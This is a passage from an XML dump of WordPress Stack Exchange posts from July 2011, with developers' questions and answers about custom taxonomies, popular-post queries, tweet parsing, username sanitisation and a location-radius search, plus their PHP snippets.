$wpdb,$post;&#xA;$postid = $post-&amp;gt;ID;&#xA;//get posttype&#xA;$posttype = $post-&amp;gt;post_type;&#xA;&#xA;if( $posttype == 'TYPE1' || $posttype == 'TYPE2' ):&#xA;    //get current lingerie categories&#xA;    $cur_terms_args = array( 'orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'asc', 'parent' =&amp;gt; xxxx );&#xA;    $current_terms = wp_get_post_terms( $postid, 'lingerie-categories', $cur_terms_args );&#xA;    if( $posttype == 'TYPE2' ):&#xA;        $parentid = xxxx;&#xA;        $remove_string = '-TYPE2-STRING';&#xA;    elseif( $posttype == 'TYPE1' ):&#xA;        $parentid = xxxx;&#xA;        $remove_string = '-TYPE1-STRING';&#xA;    endif;&#xA;&#xA;    //get all terms in cat set associated with $posttype&#xA;    $pos_terms_args = array( 'orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'asc', 'parent' =&amp;gt; $parentid );&#xA;    $possible_terms = get_terms( 'lingerie-categories', $pos_terms_args );&#xA;&#xA;    //terms to set array&#xA;    $terms_to_set = array();&#xA;&#xA;    //loop through current_terms&#xA;    foreach( $current_terms as $c_term ):&#xA;        //loop thorugh possible terms to see which match&#xA;        foreach( $possible_terms as $p_term ):&#xA;            //remove slug suffix to compare&#xA;            $new_p_slug = str_replace( $remove_string, '', $p_term-&amp;gt;slug );&#xA;            //compare the slugs&#xA;            if( $c_term-&amp;gt;slug == $new_p_slug ):&#xA;                //set the $p_term-&amp;gt;term_id to $terms_to_set&#xA;                $terms_to_set[] = $p_term-&amp;gt;term_id;             &#xA;                break;//break the loop as we have a match&#xA;            endif;&#xA;        endforeach;&#xA;    endforeach;&#xA;&#xA;    //set new terms&#xA;    wp_set_object_terms( $postid, $terms_to_set, 'lingerie-categories' );&#xA;&#xA;endif;//end $posttype == 'TYPE1' || $posttype == 'TYPE2'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}//end ds_update_custom_lingerie_cats&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I came up with - but it only assigns some of the categories I need it to. Not sure why though. I'm just gonna do it all by hand :)&lt;/p&gt;&#xA;" OwnerUserId="5391" LastEditorUserId="5391" LastEditorDisplayName="" LastEditDate="2011-07-06T14:18:22.663" LastActivityDate="2011-07-06T14:18:22.663" Title="How can I assign categories to a post based on categoires already set?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;save-post&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="22037" PostTypeId="1" AcceptedAnswerId="22045" CreationDate="2011-07-05T13:17:32.570" Score="0" ViewCount="34" Body="&lt;p&gt;I want list the popular posts.popular post is defined by number of comments.If number of comment is high it will consider as popular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do this !  &lt;/p&gt;&#xA;" OwnerUserId="4022" LastActivityDate="2011-07-05T14:01:39.530" Title="How to list most popular post" Tags="&lt;query-posts&gt;" AnswerCount="3" />
  <row Id="22039" PostTypeId="1" CreationDate="2011-07-05T13:20:16.320" Score="0" ViewCount="70" Body="&lt;p&gt;Simply put, I need to hide all posts on the frontend if they are written by authors with a specific role. The role I have created is called 'Suspended'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm happy with putting a simple IF statement around the loop which prevents posts from a certain role ID from appearing. Preferably though it would be something I can enter into the WP_Query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Can't use user ID as there would be xx number of users with the same role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how this could/ would be done? Any help would be very much appreciated. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5590" LastActivityDate="2011-07-05T14:08:35.907" Title="Hide posts from users with a specific role" Tags="&lt;wp-query&gt;&lt;roles&gt;&lt;user-roles&gt;" AnswerCount="1" />
  <row Id="22041" PostTypeId="2" ParentId="22037" CreationDate="2011-07-05T13:35:21.680" Score="0" ViewCount="" Body="&lt;p&gt;Copy paste the following code, where you want to display the popular posts&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$popular = $wpdb-&amp;gt;get_results(&quot;SELECT id, post_title, comment_count FROM {$wpdb-&amp;gt;prefix}posts WHERE post_type='post' ORDER BY comment_count DESC LIMIT 10&quot;);&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;foreach($popular as $posts) : ?&amp;gt;&#xA;&amp;lt;li&amp;gt; &amp;lt;?php echo $posts-&amp;gt;post_title; ?&amp;gt; &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-07-05T13:35:21.680" />
  <row Id="22042" PostTypeId="1" CreationDate="2011-07-05T13:38:03.783" Score="-1" ViewCount="24" Body="&lt;p&gt;I was working on the company blog today and just had a question. Currently, the staff posts a blurb and then inserts images of the new products which makes the post really long. I was wondering if anyone knew of a plugin or knew of a way to get said images to be like 3 x 3.&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2011-07-05T14:04:29.530" Title="Image Layout in Posts" Tags="&lt;plugins&gt;&lt;images&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="22043" PostTypeId="1" CreationDate="2011-07-05T13:44:16.327" Score="1" ViewCount="42" Body="&lt;p&gt;I'm trying out a couple of plugins to aid in searching of taxonomy terms. One is called &quot;Query Multiple Taxonomies&quot; and the other is called &quot;Drop-down-custom-taxonomy&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm wanting to keep the page I'm searching from when I begin the search. For example if the page I'm on is dogs (www.site.com/dogs) and I run a search on this page for a taxonomy called &quot;breed&quot;, and find all dogs that are a &quot;beagle&quot;, the url is changed to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.site.com/?breed=beagle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the url to stay with /dogs in it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.site.com/dogs/?breed=beagle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on my limited knowledge, I'd say this is a job for url rewriting? I did try adding some code for a base url for Query Multiple Taxonomies but this did not work with my permalink structure of /%year%/%postname%/&lt;/p&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-07-05T22:06:11.073" Title="How do I keep the page I'm on within the URL when running a search on a taxonomy?" Tags="&lt;custom-taxonomy&gt;&lt;search&gt;" AnswerCount="1" />
  <row Id="22044" PostTypeId="2" ParentId="22037" CreationDate="2011-07-05T13:48:35.087" Score="0" ViewCount="" Body="&lt;p&gt;make a try on &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-popular-posts/&quot; rel=&quot;nofollow&quot;&gt;WordPress Popular Posts&lt;/a&gt; Plugin. In this Plugin we having the option to sort with comment for popular post.:)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-05T13:48:35.087" />
  <row Id="22045" PostTypeId="2" ParentId="22037" CreationDate="2011-07-05T14:01:39.530" Score="2" ViewCount="" Body="&lt;p&gt;You can easily sort by native post fields, so try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts  = get_posts( array(&#xA;                 'numberposts' =&amp;gt; 10,&#xA;                 'orderby' =&amp;gt; 'comment_count',&#xA;                 ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-05T14:01:39.530" CommentCount="1" />
  <row Id="22046" PostTypeId="2" ParentId="22016" CreationDate="2011-07-05T14:02:18.960" Score="1" ViewCount="" Body="&lt;p&gt;You could just try the alternate WP Cron method, which doesn't require loopbacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add &lt;code&gt;define('ALTERNATE_WP_CRON', true);&lt;/code&gt; to your wp-config.php file.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-05T14:02:18.960" CommentCount="4" />
  <row Id="22047" PostTypeId="1" AcceptedAnswerId="22052" CreationDate="2011-07-05T14:04:14.783" Score="0" ViewCount="64" Body="&lt;p&gt;I'm getting a problem displaying tweets that include reply's (ie when you @username someone). It's showing the @ symbol but then cutting off the rest of the tweet. (Check out &lt;a href=&quot;http://www.teamworksdesign.com&quot; rel=&quot;nofollow&quot;&gt;www.teamworksdesign.com&lt;/a&gt; in the bottom right hand corner)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help with this or suggest a good plugin?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function parseTweet($text) {&#xA;$pattern_url = '~(?&amp;gt;[a-z+]{2,}://|www\.)(?:[a-z0-9]+(?:\.[a-z0-9]+)?@)?(?:(?:[a-z](?:[a-z0-9]|(?&amp;lt;!-)-)*[a-z0-9])(?:\.[a-z](?:[a-z0-9]|(?&amp;lt;!-)-)*[a-z0-9])+|(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))(?:/[^\\/:?*&quot;|\n]*[a-z0-9])*/?(?:\?[a-z0-9_.%]+(?:=[a-z0-9_.%:/+-]*)?(?:&amp;amp;[a-z0-9_.%]+(?:=[a-z0-9_.%:/+-]*)?)*)?(?:#[a-z0-9_%.]+)?~i';&#xA;'@([A-Za-z0-9_]+)';&#xA;$tweet = preg_replace('/(^|\s)#(\w+)/', '\1#&amp;lt;a&#xA;href=&quot;http://search.twitter.com/search?q=%23\2″ rel=&quot;nofollow&quot;&amp;gt;\2&amp;lt;/a&amp;gt;', $text);&#xA;$tweet = preg_replace('/(^|\s)@(\w+)/', '\1@&amp;lt;a&#xA;href=&quot;http://www.twitter.com/\2″ rel=&quot;nofollow&quot;&amp;gt;\2&amp;lt;/a&amp;gt;', $tweet);&#xA;$tweet = preg_replace(&quot;#(^|[\n ])(([\w]+?://[\w\#$%&amp;amp;~.\-;:=,?@\[\]+]*)(/[\w\#$%&amp;amp;~/.\-;:=,?@\[\]+]*)?)#is&quot;, &quot;\\1&amp;lt;a&#xA;href=\&quot;\\2\&quot; title=\&quot;\\2\&quot; rel=\&quot;nofollow\&quot;&amp;gt;[link]&amp;lt;/a&amp;gt;&quot;, $tweet);&#xA;return $tweet;&#xA;}&#xA;&#xA;$username='teamworksdesign'; // set user name&#xA;$format='json'; // set format&#xA;$tweet=json_decode(file_get_contents(&quot;http://api.twitter.com/1/statuses/user_timeline/{$username}.{$format}&quot;)); // get tweets and decode them into a variable&#xA;&#xA;$theTweet = parseTweet($tweet[0]-&amp;gt;text);&#xA;$newTweet = substr($theTweet,0,65);&#xA;echo '&amp;lt;a class=&quot;tweet&quot; rel=&quot;nofollow&quot; href=&quot;http://www.twitter.com/teamworksdesign&quot;&amp;gt; &quot;' . $newTweet . '...&quot;&amp;lt;/a&amp;gt;';&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5415" LastEditorUserId="5415" LastEditorDisplayName="" LastEditDate="2011-07-05T14:31:18.377" LastActivityDate="2011-07-05T14:31:18.377" Title="Displaying tweets problem with @username" Tags="&lt;twitter&gt;" AnswerCount="2" />
  <row Id="22048" PostTypeId="2" ParentId="22042" CreationDate="2011-07-05T14:04:29.530" Score="2" ViewCount="" Body="&lt;p&gt;You can display attached images as &lt;a href=&quot;http://codex.wordpress.org/Gallery_Shortcode&quot; rel=&quot;nofollow&quot;&gt;gallery&lt;/a&gt; instead of individually.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-05T14:04:29.530" />
  <row Id="22049" PostTypeId="2" ParentId="22039" CreationDate="2011-07-05T14:08:35.907" Score="2" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_User_Query&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_User_Query&lt;/code&gt;&lt;/a&gt; to build a list of suspended authors` ids, then use that list with minuses for inversion as &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Author_Parameters&quot; rel=&quot;nofollow&quot;&gt;author parameter in query&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-05T14:08:35.907" CommentCount="1" />
  <row Id="22050" PostTypeId="2" ParentId="22033" CreationDate="2011-07-05T14:12:43.483" Score="0" ViewCount="" Body="&lt;p&gt;This really has little to do with WP. Processing of that file is simple inclusion, I don't see any complexity to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant code from WP core:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Load the functions for the active theme, for both parent and child theme if applicable.&#xA;if ( ! defined( 'WP_INSTALLING' ) || 'wp-activate.php' === $pagenow ) {&#xA;    if ( TEMPLATEPATH !== STYLESHEETPATH &amp;amp;&amp;amp; file_exists( STYLESHEETPATH . '/functions.php' ) )&#xA;        include( STYLESHEETPATH . '/functions.php' );&#xA;    if ( file_exists( TEMPLATEPATH . '/functions.php' ) )&#xA;        include( TEMPLATEPATH . '/functions.php' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-05T14:12:43.483" CommentCount="2" />
  <row Id="22051" PostTypeId="2" ParentId="477" CreationDate="2011-07-05T14:17:04.413" Score="0" ViewCount="" Body="&lt;p&gt;I was looking for the same and found this WordPress built-in solution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; -1,&#xA;    'post_status' =&amp;gt; null,&#xA;    'post_parent' =&amp;gt; $main_post_id&#xA;);&#xA;&#xA;$attachments = get_posts($args);&#xA;&#xA;foreach ($attachments as $attachment)&#xA;{&#xA;    $attachment_id = $attachment-&amp;gt;ID;&#xA;    $image_metadata = wp_get_attachment_metadata( $attachment_id );&#xA;    the_attachment_link($attachment-&amp;gt;ID, false);&#xA;    echo the_attachment_link['width'];&#xA;    echo the_attachment_link['height'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See more here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_metadata&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_get_attachment_metadata&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vayu&lt;/p&gt;&#xA;" OwnerUserId="1678" LastActivityDate="2011-07-05T14:17:04.413" CommentCount="2" />
  <row Id="22052" PostTypeId="2" ParentId="22047" CreationDate="2011-07-05T14:18:27.277" Score="2" ViewCount="" Body="&lt;p&gt;Hi Rob@:try with this plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/tweet-this/screenshots/&quot; rel=&quot;nofollow&quot;&gt;Tweet This&lt;/a&gt;.you can set your custom image also.:) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this code...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the sidebar.php&#xA;Locate the “twitter-feed” div&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=”twitter-feed”&amp;gt;&#xA;&amp;lt;h2&amp;gt;What I’m up to…&amp;lt;/h2&amp;gt;&#xA;&amp;lt;ul id=”twitter_update_list”&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;script type=”text/javascript” src=”http://twitter.com/javascripts/blogger.js”&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=”text/javascript” src=”http://twitter.com/statuses/user_timeline/JunLoayza.json?callback=twitterCallback2&amp;amp;amp;count=1″&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;div class=”follow-on-twitter”&amp;gt;&#xA;&amp;lt;a rel=”nofollow” href=”&quot;&amp;gt;Follow me on Twitter&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace with Twitter username&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=”text/javascript” src=”http://twitter.com/statuses/user_timeline/AddYourUsernameHere.json?callback=twitterCallback2&amp;amp;amp;count=1″&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you will want to add your twitter URL to the “Follow me on Twitter” link.  The following code is listed in blue above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a rel=”nofollow” href=”http://Twitter.com/AddYourUsernameHere“&amp;gt;Follow me on Twitter&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The final code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=”twitter-feed”&amp;gt;&#xA;&amp;lt;h2&amp;gt;What I’m up to…&amp;lt;/h2&amp;gt;&#xA;&amp;lt;ul id=”twitter_update_list”&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;script type=”text/javascript” src=”http://twitter.com/javascripts/blogger.js”&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=”text/javascript” src=”http://twitter.com/statuses/user_timeline/AddYourUsernameHere.json?callback=twitterCallback2&amp;amp;amp;count=1″&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;div class=”follow-on-twitter”&amp;gt;&#xA;&amp;lt;a rel=”nofollow” href=”http://Twitter.com/AddYourUsernameHere“&amp;gt;Follow me on Twitter&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;save and run :)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-07-05T14:24:19.453" LastActivityDate="2011-07-05T14:24:19.453" CommentCount="1" />
  <row Id="22053" PostTypeId="2" ParentId="22047" CreationDate="2011-07-05T14:24:01.213" Score="1" ViewCount="" Body="&lt;p&gt;That is one nasty regexp. I would suggest looking into &lt;a href=&quot;http://dev.twitter.com/pages/tweet_entities&quot; rel=&quot;nofollow&quot;&gt;Twitter entities&lt;/a&gt; instead, much easier than trying to parse it yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this really has little to do with WP and more suitable for other sites in network.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-05T14:24:01.213" CommentCount="2" />
  <row Id="22054" PostTypeId="2" ParentId="19799" CreationDate="2011-07-05T14:29:24.733" Score="0" ViewCount="" Body="&lt;p&gt;For some reason, the solutions I found here and on other sites didn't work for me. But I found a very simple solution, you can read it here:&#xA;&lt;a href=&quot;http://www.borishoekmeijer.nl/wordpress-display-the-more-tag-on-a-category-overview-page/&quot; rel=&quot;nofollow&quot;&gt;http://www.borishoekmeijer.nl/wordpress-display-the-more-tag-on-a-category-overview-page/&lt;/a&gt;&#xA;I used it on my category.php file, but I'm sure it works exactly the same on archive.php or search.php.&lt;/p&gt;&#xA;" OwnerUserId="6758" LastActivityDate="2011-07-05T14:29:24.733" />
  <row Id="22055" PostTypeId="2" ParentId="19215" CreationDate="2011-07-05T15:44:05.050" Score="0" ViewCount="" Body="&lt;p&gt;The is no limit for WordPress Multi Site. The same software is used by WordPress.com and they have millions of blogs hosted on their servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can find an answer from Andrea_r (WordPress multisite question-answerer) about this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/multisite-table-limit-and-file-system-limits&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/multisite-table-limit-and-file-system-limits&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6761" LastActivityDate="2011-07-05T15:44:05.050" />
  <row Id="22056" PostTypeId="1" AcceptedAnswerId="22058" CreationDate="2011-07-05T15:53:22.783" Score="1" ViewCount="57" Body="&lt;p&gt;I would love to be able to use spaces in usernames, but this does not seem possible. Is there a writeup in the codex or somewhere that explains what characters are allowed and why it was restricted to that set or is it just alphas only and suck it up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want users to use something other than a username with no spaces, is my only real option a plugin that allows users to login with their email addresses instead, but still requires an alpha only username at account creation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and I am on a WPMU/network site.&lt;/p&gt;&#xA;" OwnerUserId="4756" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-07-05T16:46:01.213" LastActivityDate="2011-07-05T17:05:46.200" Title="Where can I find documentation on what characters are allowed in user names and why?" Tags="&lt;multisite&gt;&lt;users&gt;&lt;username&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="22058" PostTypeId="2" ParentId="22056" CreationDate="2011-07-05T17:05:18.230" Score="0" ViewCount="" Body="&lt;p&gt;You can use spaces in usernames, no problem. Several users on wordpress.org have spaces in their usernames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strict mode only allows these characters: &lt;code&gt;a-z0-9&amp;lt;space&amp;gt;_.\-@&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However WP doesn't default to strict mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, multisite has different restrictions, and it may strip spaces there. This is because usernames are used to create independent blogs and such on multisite installs.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-05T17:05:18.230" CommentCount="2" />
  <row Id="22059" PostTypeId="2" ParentId="22056" CreationDate="2011-07-05T17:05:46.200" Score="2" ViewCount="" Body="&lt;p&gt;I don't think there's any official documentation about that, but you can have a look at the &lt;code&gt;sanitize_user&lt;/code&gt; function in &lt;code&gt;wp-includes/formatting.php&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sanitize_user( $username, $strict = false ) {&#xA;    $raw_username = $username;&#xA;    $username = wp_strip_all_tags( $username );&#xA;    $username = remove_accents( $username );&#xA;    // Kill octets&#xA;    $username = preg_replace( '|%([a-fA-F0-9][a-fA-F0-9])|', '', $username );&#xA;    $username = preg_replace( '/&amp;amp;.+?;/', '', $username ); // Kill entities&#xA;&#xA;    // If strict, reduce to ASCII for max portability.&#xA;    if ( $strict )&#xA;        $username = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $username );&#xA;&#xA;    $username = trim( $username );&#xA;    // Consolidate contiguous whitespace&#xA;    $username = preg_replace( '|\s+|', ' ', $username );&#xA;&#xA;    return apply_filters( 'sanitize_user', $username, $raw_username, $strict );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could hook into that function and override the default behavior with your own.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-05T17:05:46.200" CommentCount="1" />
  <row Id="22060" PostTypeId="1" AcceptedAnswerId="22064" CreationDate="2011-07-05T17:33:13.670" Score="5" ViewCount="66" Body="&lt;p&gt;I am working on backup-related plugin and from some research of existing plugins - they seem to favor using PHP's &lt;code&gt;mysql_*&lt;/code&gt; functions, rather than &lt;code&gt;$wpdb&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is &lt;code&gt;$wpdb&lt;/code&gt; overhead considerable enough that it is unsuitable for such task as querying whole database tables?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-05T18:17:34.110" Title="Does wpdb add considerable overhead on queries with large result sets?" Tags="&lt;database&gt;&lt;wpdb&gt;&lt;backup&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="22061" PostTypeId="1" CreationDate="2011-07-05T17:37:35.250" Score="0" ViewCount="66" Body="&lt;p&gt;We have a therapist listing site we're building and we have run into a snag.. We have posts with geo location lat/lng coordinations in custom fields for google maps integration on each post. We have integrated a search form in which searches a specified radius (from a dropdown box, 1mi-5000mi). This radius function pulls geo location coordinates from the 'location' value using google's geo api lookup. The function takes the address/zip code/location or whatever is submitted and if there is a match in the json results creates coordinates and creates circular radius area around the coordinates and any posts that match those coordinates get included into the results query. However, it's not correctly analyzing the posts we have and removing ones that match the radial coordinates and selecting ones that do match - it simply doesn't compare at all. If we have a listing with coordinate markers for Brooklyn, New York , as of right now we can type in Santa Fe, New Mexico and the post with location markers in Brooklyn, New York still shows up in a result when searching for Santa Fe, New Mexico. I'm trying to get it to properly take the location, json_decode the location and grab the markers (it does this currently) and analyze the current post's custom fields for a match in the radial search and if there is , whatever post within the &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also would like it to search a specific category from a dropdown (&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is code in custom listing filter.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_search_join($join) {&#xA;if ( is_search() &amp;amp;&amp;amp; isset($_GET['s'])) {&#xA;    global $wpdb;&#xA;   $join = &quot; LEFT JOIN $wpdb-&amp;gt;postmeta ON $wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;postmeta.post_id &quot;;&#xA;}&#xA;return($join);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_search_groupby($groupby) {&#xA;if ( is_search() &amp;amp;&amp;amp; isset($_GET['s'])) {&#xA;    global $wpdb;&#xA;    $groupby = &quot; $wpdb-&amp;gt;posts.ID &quot;; &#xA;}&#xA;return($groupby);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_search_where($where) {&#xA;global $wpdb;&#xA;$old_where = $where;&#xA;if (is_search() &amp;amp;&amp;amp; isset($_GET['s'])) {&#xA;    // add additional custom fields here to include them in search results&#xA;    $customs = array('address','website','therapisttype','therapistgender','groupwork','statuslicense','yearsprofession','professiontitle','languagesspoken');&#xA;    $query = '';&#xA;    $var_q = stripslashes($_GET['s']) ;&#xA;    preg_match_all('/&quot;.*?(&quot;|$)|((?&amp;lt;=[\\s&quot;,+])|^)[^\\s&quot;,+]+/', $var_q, $matches);&#xA;    $search_terms = array_map(create_function('$a', 'return trim($a, &quot;\\&quot;\'\\n\\r &quot;);'), $matches[0]);&#xA;&#xA;    /* grabs category selection and creates string for SQL build -&amp;gt; Ryan */&#xA;    $var_loc = stripslashes($_GET['cat']) ;&#xA;    preg_match_all('/&quot;.*?(&quot;|$)|((?&amp;lt;=[\\s&quot;,+])|^)[^\\s&quot;,+]+/', $var_loc, $loc_matches);&#xA;    $loc_search_terms = array_map(create_function('$a', 'return trim($a, &quot;\\&quot;\'\\n\\r &quot;);'), $loc_matches[0]);&#xA;    /* end category specific search via SQL query build */&#xA;&#xA;    $n = '%';&#xA;    $searchand = '';&#xA;    foreach((array)$search_terms as $term) {&#xA;        $term = addslashes_gpc($term);&#xA;        $query .= &quot;{$searchand}(&quot;;&#xA;        $query .= &quot;($wpdb-&amp;gt;posts.post_title LIKE '{$n}{$term}{$n}')&quot;;&#xA;        $query .= &quot; OR ($wpdb-&amp;gt;posts.post_content LIKE '{$n}{$term}{$n}')&quot;;&#xA;        foreach($customs as $custom) {&#xA;            $query .= &quot; OR (&quot;;&#xA;            $query .= &quot;($wpdb-&amp;gt;postmeta.meta_key = '$custom')&quot;;&#xA;            $query .= &quot; AND ($wpdb-&amp;gt;postmeta.meta_value  LIKE '{$n}{$term}{$n}')&quot;;&#xA;            $query .= &quot;)&quot;;&#xA;        }&#xA;        $query .= &quot;)&quot;;&#xA;        $searchand = ' AND ';&#xA;    }&#xA;    $term = $wpdb-&amp;gt;escape($var_q);&#xA;    $where .= &quot; OR ($wpdb-&amp;gt;posts.post_title LIKE '{$n}{$term}{$n}')&quot;;&#xA;    $where .= &quot; OR ($wpdb-&amp;gt;posts.post_content LIKE '{$n}{$term}{$n}')&quot;;&#xA;&#xA;    if (!empty($query)) {&#xA;        $where = &quot; AND ({$query}) AND ($wpdb-&amp;gt;posts.post_status = 'publish') AND ($wpdb-&amp;gt;posts.post_type = 'post') &quot;;&#xA;    }&#xA;}&#xA;return($where);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is code in search.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $find_posts_in, $search_result_ids, $wp_query;&#xA;&#xA;$term_heading = '';&#xA;$location_heading = '';&#xA;&#xA;if (isset($_GET['s']) &amp;amp;&amp;amp; $_GET['s']) $search = trim($_GET['s']); else $search = '';&#xA;if (isset($_GET['location'])) $location = trim($_GET['location']); else $location = '';&#xA;if (isset($_GET['radius']) &amp;amp;&amp;amp; $_GET['radius']&amp;gt;0) $radius = trim($_GET['radius']); else $radius = 50;&#xA;&#xA;if ($search) :&#xA;&#xA;    if ($wp_query-&amp;gt;posts) foreach ($wp_query-&amp;gt;posts as $p) : $search_result_ids[] = $p-&amp;gt;ID.''; endforeach;&#xA;&#xA;    $term_heading = __('Searching for ','therapists').'&amp;amp;ldquo;'.$search.'&amp;amp;rdquo; ';&#xA;endif;&#xA;&#xA;if ($location) :&#xA;&#xA;    $radial_result = jr_radial_search($location, $radius);&#xA;    if 